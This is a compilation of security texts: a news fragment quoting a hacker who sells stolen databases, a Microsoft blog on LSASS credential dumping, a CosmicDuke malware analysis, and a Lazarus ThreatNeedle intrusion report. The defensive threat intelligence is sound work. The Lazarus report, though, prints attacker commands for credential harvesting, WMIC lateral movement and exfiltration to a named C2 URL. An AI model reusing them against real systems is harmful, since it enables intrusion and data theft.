The seller claims to have as many as 20 databases to dump online, while keeping some others back for private use, and that they have swiped roughly a billion accounts from servers to date since they started hacking in 2012. Their aim is to make "life easier" for hackers by selling usernames and password hashes to break into other accounts, as well as make some money on the side, and highlight to netizens that they need to take security seriously – such as using two-factor authentication to protect against password theft. The thief also wanted to settle a score with a co-conspirator by selling a large amount of private data online.
The hacker previously kept stolen databases private, giving them only to those who would swear to keep the data secret. "I don't think I am deeply evil," the miscreant told us. "I need the money. I need the leaks to be disclosed. Security is just an illusion. I started hacking a long time ago. I'm just a tool used by the system. We all know measures are taken to prevent cyber attacks, but with these upcoming dumps, I'll make hacking easier than ever."
|
# Detecting and Preventing LSASS Credential Dumping Attacks
Obtaining user operating system (OS) credentials from a targeted device is among threat actors’ primary goals when launching attacks because these credentials serve as a gateway to various objectives they can achieve in their target organization’s environment, such as lateral movement. One technique attackers use is targeting credentials in the Windows Local Security Authority Subsystem Service (LSASS) process memory because it can store not only a current user’s OS credentials but also a domain admin’s.
LSASS credential dumping was first observed in the tactics, techniques, and procedures (TTPs) of several sophisticated threat activity groups—including actors that Microsoft tracks as HAFNIUM and GALLIUM—and has become prevalent even in the cybercrime space, especially with the rise of the ransomware as a service gig economy. Detecting and stopping OS credential theft is therefore important because it can spell the difference between compromising or encrypting one device versus an entire network. Security solutions must provide specific measures and capabilities to help harden the LSASS process—for example, Microsoft Defender for Endpoint has advanced detections and a dedicated attack surface reduction rule (ASR) to block credential stealing from LSASS.
In May 2022, Microsoft participated in an evaluation conducted by independent testing organization AV-Comparatives specifically on detecting and blocking the LSASS credential dumping technique. The test, which evaluated several endpoint protection platforms (EPP) and endpoint detection and response (EDR) vendors, is the first time AV-Comparatives focused on a single attack technique. Defender for Endpoint passed all 15 test cases used to dump user OS credentials from the LSASS process, achieving 100% detection and prevention scores. Notably, we also passed all test cases with only Defender for Endpoint’s default settings configured, that is, with LSASS ASR and Protective Process Light (PPL) turned off to validate our antivirus protection durability in itself. Such results demonstrate our continued commitment to provide organizations with industry-leading defense.
In this blog, we share examples of various threat actors that we’ve recently observed using the LSASS credential dumping technique. We also provide details on the testing methodology done by AV-Comparatives, which they also shared in their blog and detailed report. Finally, we offer additional recommendations to further harden systems and prevent attackers from taking advantage of possible misconfigurations should they fail to leverage credential dumping.
## LSASS Credential Dumping: What We See in the Wild
Dumping LSASS credentials is important for attackers because if they successfully dump domain passwords, they can, for example, then use legitimate tools such as PsExec or Windows Management Instrumentation (WMI) to move laterally across the network. They can also use techniques like pass-the-hash for lateral movement if they manage to obtain the password hashes.
Microsoft researchers are constantly monitoring the threat landscape, including the different ways threat actors attempt to steal user credentials. The table below is a snapshot of the most popular credential theft techniques these actors used from March to August 2022 based on our threat data:
| Living-off-the-land binary (LOLBin) or hacking tool | Threat actor that frequently uses this (not exhaustive) |
|-----------------------------------------------------|--------------------------------------------------------|
| Comsvc.dll (and its “MiniDump” export) loaded by rundll32.exe | DEV-0270 |
| Mimikatz (and its modified variants) | DEV-0674 |
| Procdump.exe (with -ma command line option) | DEV-0555 |
| Taskmgr.exe | DEV-0300 |
The first column shows the technique attackers most frequently used in their attempt to dump credentials from LSASS, while the second column shows which threat actor uses this technique most frequently. Based on the incidents we tracked from March to August 2022, credential theft attacks using LOLBins such as comsvc.dll, procdump.exe, or taskmgr.exe are still popular. These LOLBins are legitimate, digitally signed binaries that are either already present on the target device or are downloaded onto the system for the attacker to misuse for malicious activities.
Microsoft Defender Antivirus prevents the execution of these command lines due to its synchronous command line-blocking capabilities.
## AV-Comparatives Test
To evaluate EPP and EDR capabilities against the LSASS credential dumping technique, AV-Comparatives ran 15 different test cases to dump credentials from the LSASS process using both publicly available hacking tools like Mimikatz (which the tester modified to bypass antivirus signatures) and privately developed ones. These test cases were as follows:
| Test case | LSASS attack method |
|-----------|---------------------|
| 01 | Mimikatz with process herpaderping |
| 02 | Native APIs DLL |
| 03 | Silent process exit |
| 04 | Alternative API snapshot function |
| 05 | MalSecLogon |
| 06 | Dump LSASS |
| 07 | Duplicate dump |
| 08 | PowerShell Mimikatz |
| 09 | Invoke Mimikatz (PoshC2) |
| 10 | SafetyDump |
| 11 | RunPE snapshot (PoshC2) |
| 12 | Unhook (Metasploit framework) |
| 13 | Reflective DLL (Metasploit framework) |
| 14 | Invoke Mimikatz (PowerShell Empire) |
| 15 | Invoke-PPL dump (PowerShell Empire) |
Each test case implemented a comprehensive approach on how to dump credentials from LSASS. After the evaluation, AV-Comparatives shared the logs and detailed description of the test cases. Microsoft participated using Defender for Endpoint, both its antivirus and EDR capabilities, with only the default settings configured.
During the initial run, Defender for Endpoint prevented 11 out of 15 test cases and alerted/detected three of the remaining ones. We then made improvements in our protection and detection capabilities and asked AV-Comparatives to re-test the missed test cases. During the re-test, we prevented all the remaining four test cases, achieving 15 out of 15 prevention score.
We’d like to thank AV-Comparatives for this thorough test, which led us to improve our protection and detection capabilities in Defender for Endpoint. These improvements have already been rolled out to benefit our customers, and we’re looking forward to the next similar test. We aim to provide industry-leading, cross-domain defense, so it’s important for us to participate in tests like AV-Comparatives and MITRE Engenuity ATT&CK Evaluations because they help us ensure that we’re delivering solutions that empower organizations to defend their environments.
## Securing the LSASS Process with Coordinated Threat Defense and System Hardening
The continuous evolution of the threat landscape has seen attacks leveraging OS credential theft, and threat actors will continue to find new ways to dump LSASS credentials in their attempts to evade detection. For Microsoft, our industry-leading defense capabilities in Microsoft Defender for Endpoint are able to detect such attempts. We’ve also introduced new security features in Windows 11 to harden the operating system, such as enabling PPL for the LSASS process and Credential Guard by default. However, evaluations like this AV-Comparatives test go hand in hand with threat monitoring and research because they provide security vendors additional insights and opportunities to continuously improve capabilities.
Our teams performed an in-house test of all these test cases with the LSASS ASR rule enabled to check the protection level of that rule. We’re happy to report that the ASR rule alone successfully prevented all the tested techniques. The LSASS ASR rule is a generic yet effective protection our customers can implement to stop currently known user-mode LSASS credential dumping attacks. Defender customers should therefore enable this ASR rule—along with tamper protection—as an added protection layer for the LSASS process.
On top of the various dumping techniques, we’ve also observed threat actors attempt to weaken the device settings in case they can’t dump credentials. For example, they attempt to enable “UseLogonCredential” in WDigest registry, which enables plaintext passwords in memory. Microsoft Defender Antivirus detects such techniques, too, as Behavior:Win32/WDigestNegMod.B.
Windows administrators can also perform the following to further harden the LSASS process on their devices:
- Enable PPL for LSASS process; note that for new, enterprise-joined Windows 11 installs (22H2 update), this is already enabled by default.
- Enable Windows Defender Credential Guard; this is also now enabled by default for organizations using the Enterprise edition of Windows 11.
- Enable restricted admin mode for Remote Desktop Protocol (RDP).
- Disable “UseLogonCredential” in WDigest.
Finally, customers with Azure Active Directory (Azure AD) can follow our recommendations on hardening environments.
|
# CosmicDuke Malware Analysis Report
## Executive Summary
One of the campaigns Cyfirma researchers observed recently is ‘natural disaster,’ which is potentially active since 17 March 2022, with the motive of exfiltration of sensitive databases and customer information for financial gains. Our research team detected a total of six samples of “CosmicDuke” malware related to this campaign and chose one of them for further analysis.
The “CosmicDuke” malware is a combination of information stealer and backdoor. The malware sample (August 2022) we analyzed is a 32-bit executable binary part of the “natural disaster” campaign that utilizes legitimate file names to deceive users. The malware sample decompressed the 1st stage load file in memory, creating a self-copy of the files in the system32 as a legitimate file. This is followed by the dropping of two files, with the dropped file sizes being 5kb and 4kb in the system32, with the threat actor creating file names as legitimate names. After this, the “CosmicDuke” malware loader creates a scheduled task and installs a Windows service to achieve persistence and establishes a connection to the C2 server for further operations from attackers.
“CosmicDuke” malware achieves persistence on the victim system by creating a scheduled task and installing a Windows service. It steals clipboard contents and user files with file extensions that match a predetermined list, engages in keylogging activity, takes screenshots, and collects user credentials, such as passwords, from a range of popular chat and email programs, as well as web browsers, to exfiltrate the captured data to an attacker-controlled C2 server. “CosmicDuke” malware is spread through several tactics, including spear-phishing, malicious advertising, exploit kits, and others. It is a combination of the notorious MiniDuke APT trojan and another longstanding threat, the information-stealing Cosmu family.
The malware has the following capabilities:
- Multiple anti-debugging capabilities.
- Ability to enumerate drives.
- Ability to enumerate paths, files, and folders.
- Capability to load other libraries, processes, and DLLs in memory.
- Capability to handle command-line arguments and command execution.
- Ability to gather system information.
- Network communication capability.
- Collecting user credentials, such as passwords, from a range of popular chat and email programs, as well as web browsers.
- Taking screenshots, keylogging activity, stealing clipboard contents.
## Threat Actor Attribution: APT29/COZY BEAR
APT29 is a cyber-espionage group that belongs to Russian espionage. This group has been operating since at least 2008 and is a component of the SVR, Russia’s foreign intelligence agency. The hack of the United States Democratic National Committee (DNC) in 2016 has been attributed to this group, as well as the SolarWinds supply chain compromises in 2020. APT29 group continuously evolves their tactics and tools and remains a threat with malware like CosmicDuke.
### Targeted Industries
- Academic
- Energy
- Financial
- Government
- Healthcare
- Media
- Pharmaceutical
- Technology
- Think Tanks
### Targeted Countries
- Germany
- Japan
- United Kingdom
- United States of America
## ETLM Attribution
The Cyfirma Research Group noticed three campaigns recently attributed to APT29 or its affiliates named UNC040 (Jan 24, 2022 – Aug 23, 2022), Natural Disaster (Mar 17, 2022 – Aug 23, 2022), and Eliminate#30 (Oct 10, 2020 – Aug 23, 2022). Thus far, in 2022, as part of three active campaigns, APT29 has targeted Japan, the United States, the United Kingdom, Germany, South Korea, and India. Japan and the United States have proven to be the favorite targets. As part of the observed campaigns, malware such as BazarLoader, Cobalt Strike, MiniDuke, CosmicDuke, Sunburst, SUPERNOVA, and more were employed by APT29 attackers.
The threat actor is suspected to leverage attack methods such as exploiting weaknesses in systems, phishing with malware, and trojan implants. A total of six samples of “CosmicDuke” malware were detected by our team related to this campaign:
- 53264f1daff3df9a9e0974b71d9cd945
- 182aeb380ed48d731217d904ee66e7ed
- 9452d0b3e348890b3ca524efebcb15f6
- b771081daabc044141eecb8c9db69519
- 6152e22093c052266d2c61ac2738bfc2
- 3941639886899D6580DE2113D4C8841E
## CosmicDuke Backdoor Analysis
### Sample Details
- **MD5:** 3941639886899D6580DE2113D4C8841E
- **SHA256:** F6850A3C4C677C5F7E83C6B062B00C744C2E00A11346F7A4B00CA8677AC34C47
- **File Type:** Windows PE
- **Architecture:** 32 Bit
- **Subsystem:** GUI
- **First Seen:** August-22
This malware was written in Microsoft Visual C++ programming language. The malware binary file’s size is 2301383 bytes. This CosmicDuke variant binary file was packed by a custom unknown packer.
This malicious file has version information as Google Chrome, where the threat actor lures the user with this file posing as Google Chrome Updater.
Upon execution of the file, it loads the malicious packed code into memory and unpacks that file in memory. The unpacked file is executed from memory, which modifies the victim system.
### Files added in the Victim host:
- C:\Windows\System32\apicms.exe [MD5: 0499C600266D8311722BBC31B89FB9AC]
- C:\Windows\System32\uidhcp.exe [MD5: 335D2EE728B4C1591B5B374A7CE4B758]
- C:\Windows\System32\wmsys.scr [MD5: 943E98CB74058DFA942D9D6184E936B1]
- C:\Windows\System32\Tasks\PBDARegisterSW
### Registry Modification
#### Registry Keys added in the Victim host:
- HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Logon\{EE2A453A-CE72-47C6-8A8A-727199A79DEA}
- HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{EE2A453A-CE72-47C6-8A8A-727199A79DEA}
- HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\PBDARegisterSW
- HKLM\SYSTEM\CurrentControlSet\services\javatmsup
- HKLM\SYSTEM\ControlSet001\service javatmsup\Start: 0x00000002
- HKLM\SYSTEM\ControlSet0\services\javatmsup\ErrorControl: 0x00000001
- HKLM\SYSTEM\ControlSet001\services\javatmsup\ImagePath: "C:\Windows\System32\uidhcp.exe"
#### Registry Values added in the Victim host:
- HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{EE2A453A-CE72-47C6-8A8A-727199A79DEA}\Path: "\PBDARegisterSW"
- HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{EE2A453A-CE72-47C6-8A8A-727199A79DEA}\Hash: C0 36 F4 86 0A 7F A7 75 19 A4 3 68 ED 2D DB 45 EB 2F ED B3 82 FF 80 A2 89 A6 32 B2 2A BE B9 DE
- HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{EE2A453A-CE72-47C6-8A8A-727199A79DEA}\DynamicInfo: 03 00 00 00 92 5A 26 EA A2 AF D8 01 92 5A 26 EA A2 AF D8 01 05 00 00 C0 00 00 00 00
- HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\PBDARegisterSW\Id: "{EE2A453A-CE72-47C6-8A8A-727199A79DEA}"
- HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\PBDARegisterSW\Index: 0x00000002
- HKU\Control Panel\Desktop\ScreenSaveBackup: ""
- HKU\Control Panel\Desktop\SCRNSAVE.EXE: "C:\Windows\System32\wmsys.scr"
- HKU\Control Panel\Desktop\ScreenSaveUtility: "C:\Windows\System32\wmsys.scr"
- HKU\Control Panel\Desktop\ScreenSaveTimeOut: "60"
### Network Communication
After unpacking, this backdoor file establishes a connection to the below C2 servers with a POST request, appending the stolen data such as computer name, username, version information, Volume ID, etc. Following are the IP addresses used for communication:
- 199[.]231[.]188[.]109
- 46[.]246[.]120[.]178
This CosmicDuke variant binary first runs a loop 1000 times to misdirect the analysis and delay execution. Next, this malware creates virtual memory by calling the VirtualAlloc API, then loads the packed content in that memory location. The packed code is decrypted by a custom packer in memory, then transfers the call to the unpacked memory.
### 1st Stage Payload (unpacked)
#### Sample Details
- **MD5:** 335D2EE728B4C1591B5B374A7CE4B758
- **SHA256:** 42AFD884116DF2267696DA88827E8F774155C8B1DA86BCE968BE20765EB8BB7C
- **File Type:** Windows PE
- **Architecture:** 32 Bit
- **Subsystem:** GUI
This malware sample was also written in Microsoft Visual C++ programming language. The malware binary file’s size is 294551 bytes. This file has version information as Microsoft Corporation (internal file name is svchost.exe), allowing the threat actor to hide their malicious intent.
This CosmicDuke backdoor loader initially verifies any security product running in the victim system before executing the CosmicDuke malware activity by calling CreateToolhelp32Snapshot, Process32Next, and Process32First. If any security product is running, this malware will be terminated without expressing malware behavior.
After that, this malicious code generates random characters and combines them for making the file name to showcase a legitimate file name. These created file names are used while creating malicious payload/files. This malware directly copies itself into the system32 by calling CreateFileW.
Once the unpacked file is created in the system32, this malicious binary obtains the temp folder location by calling GetTempPathW, then creates a 5kb file by calling CreateFileW, after which this 5kb file is copied into the system folder by calling CopyFileW. Similar to the above behavior, this malware code creates a 4kb file in the temp folder after copying this file to system32 as a .scr file extension.
Once the three files are created, the malicious loader launches the 5kb files, passing the argument 'local system' by calling CreateProcessW. Similarly, the malicious loader launches the 4kb file by calling CreateProcessW without passing any argument. After that, this loader launches the self-copied file by calling the CreateProcessW API, passing an argument that varies with every execution. After this file is launched, it creates the scheduled task by calling CreateFileW, then modifies the Registry by calling the RegSetValueExW API.
The threat actor could collect data from the clipboard by calling the appropriate code snippet. Additionally, this malware collects the computer name, keyboard layout details, and available drivers on the victim system. This malware establishes a connection to the FTP server and uploads the harvested details from the victim systems to the threat actor C2 server while waiting for further commands from the attackers.
### Dropped file_01
#### Sample Details
- **MD5:** 0499C600266D8311722BBC31B89FB9AC
- **SHA256:** 16F868FC0F84E1C91E11A8F715395E1122775E597031C0CAEDEAF4AF39122B68
- **File Type:** Windows PE
- **Architecture:** 32 Bit
- **Subsystem:** Console
This file creates a service dubbed Java Virtual Machine Support Service (service name: \javatmsup) with auto_start, achieving persistence so that whenever the victim system is rebooted, this service will run automatically. After the service is started, this malware takes a snapshot of the running process by calling CreateToolhelp32Snapshot, then obtains the explore.exe process handle by iterating this snapshot and calling open process. After obtaining the explore.exe process handle, it duplicates this process token and starts the malware process using the duplicated process token, followed by harvesting system information such as passwords and other information.
### Dropped file_02
#### Sample Details
- **MD5:** 933B3C5D3728EF6E08AF4AE579C00D11
- **SHA256:** 47F3405AB0DA5AF125BCC6EBB6D17A1573B090C54D7A0A00630EC170CCC4B9D1
- **File Type:** Windows PE
- **Architecture:** 32 Bit
- **Subsystem:** GUI
This sample is a component of the CosmicDuke malware, which obtains the desktop details of victim systems by calling RegQueryValueExW, RegOpenKeyExW, and then storing those details in the buffer before launching this process by calling CreateProcessW. This malware sends the harvested information to the attackers.
## List of IOCs (Related to Campaign Name: Natural Disaster)
| Sr No | Indicator | Type | Remarks |
|-------|----------------------------------------------------|------|----------------------------------|
| 1 | 3941639886899D6580DE2113D4C8841E | MD5 | sample |
| 2 | 335D2EE728B4C1591B5B374A7CE4B758 | MD5 | 1st stage CosmicDuke |
| 3 | 0499C600266D8311722BBC31B89FB9AC | MD5 | Dropped file by CosmicDuke |
| 4 | 6152e22093c052266d2c61ac2738bfc2 | MD5 | Other Sample Related to Campaign |
| 5 | 182aeb380ed48d731217d904ee66e7ed | MD5 | Other Sample Related to Campaign |
| 6 | 9452d0b3e348890b3ca524efebcb15f6 | MD5 | Other Sample Related to Campaign |
| 7 | 53264f1daff3df9a9e0974b71d9cd945 | MD5 | Other Sample Related to Campaign |
| 8 | b771081daabc044141eecb8c9db69519 | MD5 | Other Sample Related to Campaign |
| 9 | 933B3C5D3728EF6E08AF4AE579C00D11 | MD5 | Dropped file by CosmicDuke |
| 10 | 199[.]231[.]188[.]109 | IP | C2 connection address |
| 11 | 46[.]246[.]120[.]178 | IP | C2 connection address |
| 12 | D:\SV A\NITRO\BotGenStudio\Interface\Generations\80051A85\bin\bot.pdb | strings | Pdb path |
| 13 | \\.\pipe\40DC244D-F62E-093E-8A91-736FF2FA2AA2 | strings | Pipe name |
## MITRE ATT&CK Tactics and Techniques (Based on our analysis):
| Sr No | Tactic | Technique |
|-------|-------------------------------|---------------------------------------------------------------------------|
| 1 | Execution (TA0002) | T1059.003: Command and Scripting Interpreter: Windows Command Shell |
| 2 | Persistence (TA0003) | T1543.003: Create or Modify System Process: Windows Service |
| | | T1053.005: Scheduled Task/Job: Scheduled Task |
| 3 | Privilege Escalation (TA0004)| T1134.004: Access Token Manipulation: Parent PID Spoofing |
| | | T1543.003: Create or Modify System Process: Windows Service |
| | | T1053.005: Scheduled Task/Job: Scheduled Task |
| 4 | Defense Evasion (TA0005) | T1027: Obfuscated Files or Information |
| 5 | Discovery (TA0007) | T1057: Process Discovery |
| | | T1082: System Information Discovery |
| | | T1012: Query Registry |
| | | T1518.001: Software Discovery: Security Software Discovery |
| 6 | Collection (TA0009) | T1115: Clipboard Data |
| | | T1056.001: Input Capture: Keylogging |
| 7 | Command and Control (TA0011) | |
|
# Lazarus Targets Defense Industry with ThreatNeedle
We named Lazarus the most active group of 2020. We’ve observed numerous activities by this notorious APT group targeting various industries. The group has changed target depending on the primary objective. Google TAG has recently published a post about a campaign by Lazarus targeting security researchers. After taking a closer look, we identified the malware used in those attacks as belonging to a family that we call ThreatNeedle. We have seen Lazarus attack various industries using this malware cluster before. In mid-2020, we realized that Lazarus was launching attacks on the defense industry using the ThreatNeedle cluster, an advanced malware cluster of Manuscrypt (a.k.a. NukeSped). While investigating this activity, we were able to observe the complete life cycle of an attack, uncovering more technical details and links to the group’s other campaigns.
The group made use of COVID-19 themes in its spear-phishing emails, embellishing them with personal information gathered using publicly available sources. After gaining an initial foothold, the attackers gathered credentials and moved laterally, seeking crucial assets in the victim environment. We observed how they overcame network segmentation by gaining access to an internal router machine and configuring it as a proxy server, allowing them to exfiltrate stolen data from the intranet network to their remote server. So far, organizations in more than a dozen countries have been affected.
During this investigation, we had a chance to look into the command-and-control infrastructure. The attackers configured multiple C2 servers for various stages, reusing several scripts we’ve seen in previous attacks by the group. Moreover, based on the insights so far, it was possible to figure out the relationship with other Lazarus group campaigns.
## Initial Infection
In this attack, spear phishing was used as the initial infection vector. Before launching the attack, the group studied publicly available information about the targeted organization and identified email addresses belonging to various departments of the company. Email addresses in those departments received phishing emails that either had a malicious Word document attached or a link to one hosted on a remote server. The phishing emails claimed to have urgent updates on today’s hottest topic – COVID-19 infections. The phishing emails were carefully crafted and written on behalf of a medical center that is part of the organization under attack.
The attackers registered accounts with a public email service, making sure the sender’s email addresses looked similar to the medical center’s real email address. The signature shown in the phishing emails included the actual personal data of the deputy head doctor of the attacked organization’s medical center. The attackers were able to find this information on the medical center’s public website.
A macro in the Microsoft Word document contained the malicious code designed to download and execute additional malicious software on the infected system. The document contains information on the population health assessment program and is not directly related to the subject of the phishing email (COVID-19), suggesting the attackers may not completely understand the meaning of the contents they used.
The content of the lure document was copied from an online post by a health clinic. Our investigation showed that the initial spear-phishing attempt was unsuccessful due to macros being disabled in the Microsoft Office installation of the targeted systems. In order to persuade the target to allow the malicious macro, the attacker sent another email showing how to enable macros in Microsoft Office.
After sending the above email with explanations, the attackers realized that the target was using a different version of Microsoft Office and therefore required a different procedure for enabling macros. The attackers subsequently sent another email showing the correct procedure in a screenshot with a Russian language pack. The content in the spear-phishing emails sent by the attackers from May 21 to May 26, 2020, did not contain any grammatical mistakes. However, in subsequent emails, the attackers made numerous errors, suggesting they may not be native Russian speakers and were using translation tools.
On June 3, 2020, one of the malicious attachments was opened by employees, and at 9:30 am local time, the attackers gained remote control of the infected system. This group also utilized different types of spear-phishing attacks. One of the compromised hosts received several spear-phishing documents on May 19, 2020. The malicious file that was delivered, named Boeing_AERO_GS.docx, fetches a template from a remote server. However, no payload created by this malicious document could be discovered. We speculate that the infection from this malicious document failed for a reason unknown to us. A few days later, the same host opened a different malicious document. The threat actor wiped these files from disk after the initial infection, meaning they could not be obtained.
Nonetheless, a related malicious document with this malware was retrieved based on our telemetry. It creates a payload and shortcut file and then continues executing the payload by using the following command line parameters:
- Payload path: %APPDATA%\Microsoft\Windows\lconcaches.db
- Shortcut path: %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\OneDrives.lnk
- Command Line; please note that the string at the end is hard-coded, but different for each sample:
- rundll32.exe [dllpath],Dispatch n2UmQ9McxUds2b29
The content of the decoy document depicts the job description of a generator/power industry engineer.
## Malware Implants
Upon opening a malicious document and allowing the macro, the malware is dropped and proceeds to a multistage deployment procedure. The malware used in this campaign belongs to a known malware cluster we named ThreatNeedle. We attribute this malware family to the advanced version of Manuscrypt (a.k.a. NukeSped), a family belonging to the Lazarus group. We previously observed the Lazarus group utilizing this cluster when attacking cryptocurrency businesses and a mobile game company. Although the malware involved and the entire infection process is known and has not changed dramatically compared to previous findings, the Lazarus group continued using ThreatNeedle malware aggressively in this campaign.
The payload created by the initial spear-phishing document loads the next stage as a backdoor running in-memory – the ThreatNeedle backdoor. ThreatNeedle offers functionality to control infected victims. The actor uses it to carry out initial reconnaissance and deploy additional malware for lateral movement. When moving laterally, the actor uses ThreatNeedle installer-type malware in the process. This installer is responsible for implanting the next stage loader-type malware and registering it for auto-execution in order to achieve persistence. The ThreatNeedle loader-type malware exists in several variations and serves the primary purpose of loading the final stage of the ThreatNeedle malware in memory.
### ThreatNeedle Installer
Upon launch, the malware decrypts an embedded string using RC4 (key: B6 B7 2D 8C 6B 5F 14 DF B1 38 A1 73 89 C1 D2 C4) and compares it to “7486513879852”. If the user executes this malware without a command line parameter, the malware launches a legitimate calculator carrying a dark icon of the popular Avengers franchise. Further into the infection process, the malware chooses a service name randomly from netsvc in order to use it for the payload creation path. The malware then creates a file named bcdbootinfo.tlp in the system folder containing the infection time and the random service name that is chosen. We’ve discovered that the malware operator checks this file to see whether the remote host was infected and, if so, when the infection happened. It then decrypts the embedded payload using the RC4 algorithm, saves it to an .xml extension with a randomly created five-character file name in the current directory, and then copies it to the system folder with a .sys extension.
This final payload is the ThreatNeedle loader running in memory. At this point, the loader uses a different RC4 key (3D 68 D0 0A B1 0E C6 AF DD EE 18 8E F4 A1 D6 20), and the dropped malware is registered as a Windows service and launched. In addition, the malware saves the configuration data as a registry key encrypted in RC4:
- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\GameConfig - Description
### ThreatNeedle Loader
This component is responsible for loading the final backdoor payload into memory. In order to do this, the malware uses several techniques to decrypt its payload:
- Loading the payload from the registry.
- Loading the payload from itself after decrypting RC4 and decompression.
- Loading the payload from itself after decrypting AES and decompression.
- Loading the payload from itself after decompression.
- Loading the payload from itself after one-byte XORing.
Most loader-style malware types check the command line parameter and only proceed with the malicious routine if an expected parameter is given. This is a common trait in ThreatNeedle loaders. The most common example we’ve seen is similar to the ThreatNeedle installer – the malware decrypts an embedded string using RC4 and compares it with the parameter “Sx6BrUk4v4rqBFBV” upon launch. If it matches, the malware begins decrypting its embedded payload using the same RC4 key. The decrypted payload is an archive file which is subsequently decompressed in the process. Eventually, the ThreatNeedle malware spawns in memory. The other variant of the loader is preparing the next stage payload from the victim's registry. As we can see from the installer malware description, we suspect that the registry key was created by the installer component. Retrieved data from the registry is decrypted using RC4 and then decompressed. Eventually, it gets loaded into memory and the export function is invoked.
### ThreatNeedle Backdoor
The final payload executed in memory is the actual ThreatNeedle backdoor. It has the following functionality to control infected victim machines:
- Manipulate files/directories
- System profiling
- Control backdoor processes
- Enter sleeping or hibernation mode
- Update backdoor configuration
- Execute received commands
## Post-exploitation Phase
From one of the hosts, we discovered that the actor executed a credential harvesting tool named Responder and moved laterally using Windows commands. Lazarus overcame network segmentation, exfiltrating data from a completely isolated network segment cut off from the internet by compromising a router virtual machine. Judging by the hosts that were infected with the ThreatNeedle backdoors post-exploitation, we speculate that the primary intention of this attack is to steal intellectual property. Lastly, the stolen data gets exfiltrated using a custom tool that will be described in the “Exfiltration” section. Below is a rough timeline of the compromise we investigated.
### Credential Gathering
During the investigation, we discovered that the Responder tool was executed from one of the victim machines that had received the spear-phishing document. One day after the initial infection, the malware operator placed the tool onto this host and executed it using the following command:
- [Responder file path] -i [IP address] -rPv
Several days later, the attacker started to move laterally originating from this host. Therefore, we assess that the attacker succeeded in acquiring login credentials from this host and started using them for further malicious activity.
### Lateral Movement
After acquiring the login credentials, the actor started to move laterally from workstations to server hosts. Typical lateral movement methods were employed, using Windows commands. First, a network connection with a remote host was established using the command “net use”.
- net use \\[IP address]\IPC$ "[password]" /u:"[user name]" > $temp\~tmp5936t.tmp 2>&1
Next, the actor copied malware to the remote host using the Windows Management Instrumentation Command-line (WMIC).
- wmic.exe /node:[IP address] /user:"[user name]" /password:"[password]" PROCESS CALL CREATE "cmd.exe /c $appdata\Adobe\adobe.bat"
- wmic.exe /node:[IP address] /user:"[user name]" /password:"[password]" PROCESS CALL CREATE "cmd /c sc queryex helpsvc > $temp\tmp001.dat"
### Overcoming Network Segmentation
In the course of this research, we identified another highly interesting technique used by the attackers for lateral movement and exfiltration of stolen data. The enterprise network under attack was divided into two segments: corporate (a network on which computers had internet access) and restricted (a network on which computers hosted sensitive data and had no internet access). According to corporate policies, no transfer of information was allowed between these two segments. In other words, the two segments were meant to be completely separated.
Initially, the attackers were able to get access to systems with internet access and spent a long time distributing malware between machines in the network’s corporate segment. Among the compromised machines were those used by the administrators of the enterprise’s IT infrastructure. It is worth noting that the administrators could connect both to the corporate and the restricted network segments to maintain systems and provide users with technical support in both zones. As a result, by gaining control of administrator workstations, the attackers were able to access the restricted network segment.
However, since directly routing traffic between the segments was not possible, the attackers couldn’t use their standard malware set to exfiltrate data from the restricted segment to the C2. The situation changed on July 2 when the attackers managed to obtain the credentials for the router used by the administrators to connect to systems in both segments. The router was a virtual machine running CentOS to route traffic between several network interfaces based on predefined rules.
According to the evidence collected, the attackers scanned the router’s ports and detected a Webmin interface. Next, the attackers logged in to the web interface using a privileged root account. It’s unknown how the attackers were able to obtain the credentials for that account, but it’s possible the credentials were saved in one of the infected system’s browser password managers.
By gaining access to the configuration panel, the attackers configured the Apache web server and started using the router as a proxy server between the organization’s corporate and restricted segments. Several days after that, on July 10, 2020, the attackers connected to the router via SSH and set up the PuTTy PSCP (the PuTTY Secure Copy client) utility on one of the infected machines. This utility was used to upload malware to the router VM. This enabled the attackers to place malware onto systems in the restricted segment of the enterprise network, using the router to host the samples. In addition, malware running in the network’s restricted segment was able to exfiltrate the collected data to the command-and-control server via the Apache server set up on the same router.
In the course of the investigation, we identified malware samples with the hardcoded URL of the router used as a proxy server. Since the attackers regularly deleted log files from the router, only a handful of commands entered to the command line via SSH could be recovered. An analysis of these commands shows that the attackers tried to reconfigure traffic routing using the route command. The attackers also ran the nmap utility on the router VM and scanned ports on systems within the restricted segment of the enterprise network. On September 27, the attackers started removing all traces of their activity from the router, using the logrotate utility to set up automatic deletion of log files.
## Exfiltration
We observed that the malware operator attempted to create SSH tunnels to a remote server located in South Korea from several compromised server hosts. They used a custom tunneling tool to achieve this. The tool receives four parameters: client IP address, client port, server IP address, and server port. The tool offers basic functionality, forwarding client traffic to the server. In order to create a covert channel, the malware encrypts forwarded traffic using trivial binary encryption.
Using the covert channel, the adversary copied data from the remote server over to the host using the PuTTy PSCP tool:
- %APPDATA%\PBL\unpack.tmp -pw [password] root@[IP address]:/tmp/cab0215 %APPDATA%\PBL\cab0215.tmp
After copying data from the server, the actor utilized the custom tool to exfiltrate stolen data to the remote server. This malware looks like a legitimate VNC client and runs like one if it’s executed without any command line parameters. However, if this application is executed with specific command line parameters, it runs an alternate, malicious function. According to our telemetry, the actor executed this application with six parameters:
- %APPDATA%\Comms\Comms.dat S0RMM-50QQE-F65DN-DCPYN-5QEQA hxxps://www.gonnelli[.]it/uploads/catalogo/thumbs/thumb[.]asp %APPDATA%\Comms\cab59.tmp FL0509 15000
